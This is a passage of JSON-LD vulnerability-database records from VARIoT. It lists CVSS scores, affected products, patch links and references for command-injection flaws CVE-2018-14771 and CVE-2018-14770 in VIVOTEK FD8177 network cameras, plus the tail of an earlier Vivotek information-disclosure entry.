"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"date": "2020-05-25T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201305-038"
},
{
"date": "2020-01-31T18:10:50.440000",
"db": "NVD",
"id": "CVE-2013-1596"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-038"
}
],
"trust": 1.2
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Vivotek Network Cameras Information Disclosure Vulnerability",
"sources": [
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "BID",
"id": "54476"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-239"
}
],
"trust": 1.5
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "information disclosure",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201207-239"
}
],
"trust": 0.6
}
}
VAR-201809-0170
Vulnerability from variot - Updated: 2024-11-23 23:12VIVOTEK FD8177 devices before XXXXXX-VVTK-xx06a allow remote attackers to execute arbitrary code (issue 2 of 2) via eventscript.cgi. VIVOTEK FD8177 The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. VIVOTEKFD8177 is a network camera product from Vivotek. A command injection vulnerability exists in versions prior to VIVOTEKFD8177XXXXXX-VVTK-xx06a
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201809-0170",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "camera",
"scope": "eq",
"trust": 1.6,
"vendor": "vivotek",
"version": null
},
{
"model": "camera",
"scope": null,
"trust": 0.8,
"vendor": "vivotek",
"version": null
},
{
"model": "fd8177 \u003cxxxxxx-vvtk-xx06a",
"scope": null,
"trust": 0.6,
"vendor": "vivotek",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-06202"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010299"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-207"
},
{
"db": "NVD",
"id": "CVE-2018-14771"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/h:vivotek:camera",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-010299"
}
]
},
"cve": "CVE-2018-14771",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 9.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"id": "CVE-2018-14771",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "CNVD",
"availabilityImpact": "COMPLETE",
"baseScore": 9.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"id": "CNVD-2019-06202",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 9.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"id": "VHN-124964",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:S/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.8,
"id": "CVE-2018-14771",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2018-14771",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2018-14771",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2019-06202",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201809-207",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-124964",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2018-14771",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-06202"
},
{
"db": "VULHUB",
"id": "VHN-124964"
},
{
"db": "VULMON",
"id": "CVE-2018-14771"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010299"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-207"
},
{
"db": "NVD",
"id": "CVE-2018-14771"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "VIVOTEK FD8177 devices before XXXXXX-VVTK-xx06a allow remote attackers to execute arbitrary code (issue 2 of 2) via eventscript.cgi. VIVOTEK FD8177 The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. VIVOTEKFD8177 is a network camera product from Vivotek. A command injection vulnerability exists in versions prior to VIVOTEKFD8177XXXXXX-VVTK-xx06a",
"sources": [
{
"db": "NVD",
"id": "CVE-2018-14771"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010299"
},
{
"db": "CNVD",
"id": "CNVD-2019-06202"
},
{
"db": "VULHUB",
"id": "VHN-124964"
},
{
"db": "VULMON",
"id": "CVE-2018-14771"
}
],
"trust": 2.34
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2018-14771",
"trust": 3.2
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010299",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201809-207",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-06202",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-124964",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2018-14771",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-06202"
},
{
"db": "VULHUB",
"id": "VHN-124964"
},
{
"db": "VULMON",
"id": "CVE-2018-14771"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010299"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-207"
},
{
"db": "NVD",
"id": "CVE-2018-14771"
}
]
},
"id": "VAR-201809-0170",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-06202"
},
{
"db": "VULHUB",
"id": "VHN-124964"
}
],
"trust": 1.6391892
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-06202"
}
]
},
"last_update_date": "2024-11-23T23:12:03.584000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "VVTK-SA-2018-003",
"trust": 0.8,
"url": "http://download.vivotek.com/downloadfile/support/cyber-security/vvtk-sa-2018-003-v1.pdf"
},
{
"title": "Cybersecurity",
"trust": 0.8,
"url": "https://www.vivotek.com/website/support/cybersecurity/"
},
{
"title": "VIVOTEKFD8177 command to inject vulnerability patch",
"trust": 0.6,
"url": "https://www.cnvd.org.cn/patchInfo/show/155263"
},
{
"title": "VIVOTEK FD8177 Security vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=84543"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-06202"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010299"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-207"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "NVD-CWE-noinfo",
"trust": 1.0
},
{
"problemtype": "CWE-77",
"trust": 0.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-124964"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010299"
},
{
"db": "NVD",
"id": "CVE-2018-14771"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.4,
"url": "http://download.vivotek.com/downloadfile/support/cyber-security/vvtk-sa-2018-003-v1.pdf"
},
{
"trust": 1.8,
"url": "https://www.vivotek.com/website/support/cybersecurity/"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-14771"
},
{
"trust": 0.8,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-14771"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-06202"
},
{
"db": "VULHUB",
"id": "VHN-124964"
},
{
"db": "VULMON",
"id": "CVE-2018-14771"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010299"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-207"
},
{
"db": "NVD",
"id": "CVE-2018-14771"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2019-06202"
},
{
"db": "VULHUB",
"id": "VHN-124964"
},
{
"db": "VULMON",
"id": "CVE-2018-14771"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010299"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-207"
},
{
"db": "NVD",
"id": "CVE-2018-14771"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-03-06T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-06202"
},
{
"date": "2018-09-05T00:00:00",
"db": "VULHUB",
"id": "VHN-124964"
},
{
"date": "2018-09-05T00:00:00",
"db": "VULMON",
"id": "CVE-2018-14771"
},
{
"date": "2018-12-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-010299"
},
{
"date": "2018-09-06T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201809-207"
},
{
"date": "2018-09-05T21:29:00.907000",
"db": "NVD",
"id": "CVE-2018-14771"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-03-06T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-06202"
},
{
"date": "2020-08-24T00:00:00",
"db": "VULHUB",
"id": "VHN-124964"
},
{
"date": "2020-08-24T00:00:00",
"db": "VULMON",
"id": "CVE-2018-14771"
},
{
"date": "2018-12-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-010299"
},
{
"date": "2020-10-22T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201809-207"
},
{
"date": "2024-11-21T03:49:45.227000",
"db": "NVD",
"id": "CVE-2018-14771"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201809-207"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "VIVOTEK FD8177 Command Injection Vulnerability",
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-06202"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-207"
}
],
"trust": 1.2
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "command injection",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201809-207"
}
],
"trust": 0.6
}
}
VAR-201809-0169
Vulnerability from variot - Updated: 2024-11-23 23:02VIVOTEK FD8177 devices before XXXXXX-VVTK-xx06a allow remote attackers to execute arbitrary code (issue 1 of 2) via the ONVIF interface, (/onvif/device_service). VIVOTEK FD8177 The device contains a command injection vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. VIVOTEKFD8177 is a network camera product from Vivotek. There is a security vulnerability in VIVOTEK FD8177 prior to XXXXXX-VVTK-xx06a
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201809-0169",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "camera",
"scope": "eq",
"trust": 1.6,
"vendor": "vivotek",
"version": null
},
{
"model": "camera",
"scope": null,
"trust": 0.8,
"vendor": "vivotek",
"version": null
},
{
"model": "fd8177 \u003cxxxxxx-vvtk-xx06a",
"scope": null,
"trust": 0.6,
"vendor": "vivotek",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-06203"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010298"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-208"
},
{
"db": "NVD",
"id": "CVE-2018-14770"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/h:vivotek:camera",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-010298"
}
]
},
"cve": "CVE-2018-14770",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 9.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"id": "CVE-2018-14770",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "CNVD",
"availabilityImpact": "COMPLETE",
"baseScore": 9.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"id": "CNVD-2019-06203",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 9.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"id": "VHN-124963",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:S/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.8,
"id": "CVE-2018-14770",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2018-14770",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2018-14770",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2019-06203",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201809-208",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-124963",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-06203"
},
{
"db": "VULHUB",
"id": "VHN-124963"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010298"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-208"
},
{
"db": "NVD",
"id": "CVE-2018-14770"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "VIVOTEK FD8177 devices before XXXXXX-VVTK-xx06a allow remote attackers to execute arbitrary code (issue 1 of 2) via the ONVIF interface, (/onvif/device_service). VIVOTEK FD8177 The device contains a command injection vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. VIVOTEKFD8177 is a network camera product from Vivotek. There is a security vulnerability in VIVOTEK FD8177 prior to XXXXXX-VVTK-xx06a",
"sources": [
{
"db": "NVD",
"id": "CVE-2018-14770"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010298"
},
{
"db": "CNVD",
"id": "CNVD-2019-06203"
},
{
"db": "VULHUB",
"id": "VHN-124963"
}
],
"trust": 2.25
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2018-14770",
"trust": 3.1
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010298",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201809-208",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-06203",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-124963",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-06203"
},
{
"db": "VULHUB",
"id": "VHN-124963"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010298"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-208"
},
{
"db": "NVD",
"id": "CVE-2018-14770"
}
]
},
"id": "VAR-201809-0169",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-06203"
},
{
"db": "VULHUB",
"id": "VHN-124963"
}
],
"trust": 1.6391892
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-06203"
}
]
},
"last_update_date": "2024-11-23T23:02:01.531000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "VVTK-SA-2018-003",
"trust": 0.8,
"url": "http://download.vivotek.com/downloadfile/support/cyber-security/vvtk-sa-2018-003-v1.pdf"
},
{
"title": "Cybersecurity",
"trust": 0.8,
"url": "https://www.vivotek.com/website/support/cybersecurity/"
},
{
"title": "Patch for VIVOTEKFD8177 Command Injection Vulnerability (CNVD-2019-06203)",
"trust": 0.6,
"url": "https://www.cnvd.org.cn/patchInfo/show/155265"
},
{
"title": "VIVOTEK FD8177 Security vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=84544"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-06203"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010298"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-208"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "NVD-CWE-noinfo",
"trust": 1.0
},
{
"problemtype": "CWE-77",
"trust": 0.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-124963"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010298"
},
{
"db": "NVD",
"id": "CVE-2018-14770"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.3,
"url": "http://download.vivotek.com/downloadfile/support/cyber-security/vvtk-sa-2018-003-v1.pdf"
},
{
"trust": 1.7,
"url": "https://www.vivotek.com/website/support/cybersecurity/"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-14770"
},
{
"trust": 0.8,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-14770"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-06203"
},
{
"db": "VULHUB",
"id": "VHN-124963"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010298"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-208"
},
{
"db": "NVD",
"id": "CVE-2018-14770"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2019-06203"
},
{
"db": "VULHUB",
"id": "VHN-124963"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010298"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-208"
},
{
"db": "NVD",
"id": "CVE-2018-14770"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-03-06T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-06203"
},
{
"date": "2018-09-05T00:00:00",
"db": "VULHUB",
"id": "VHN-124963"
},
{
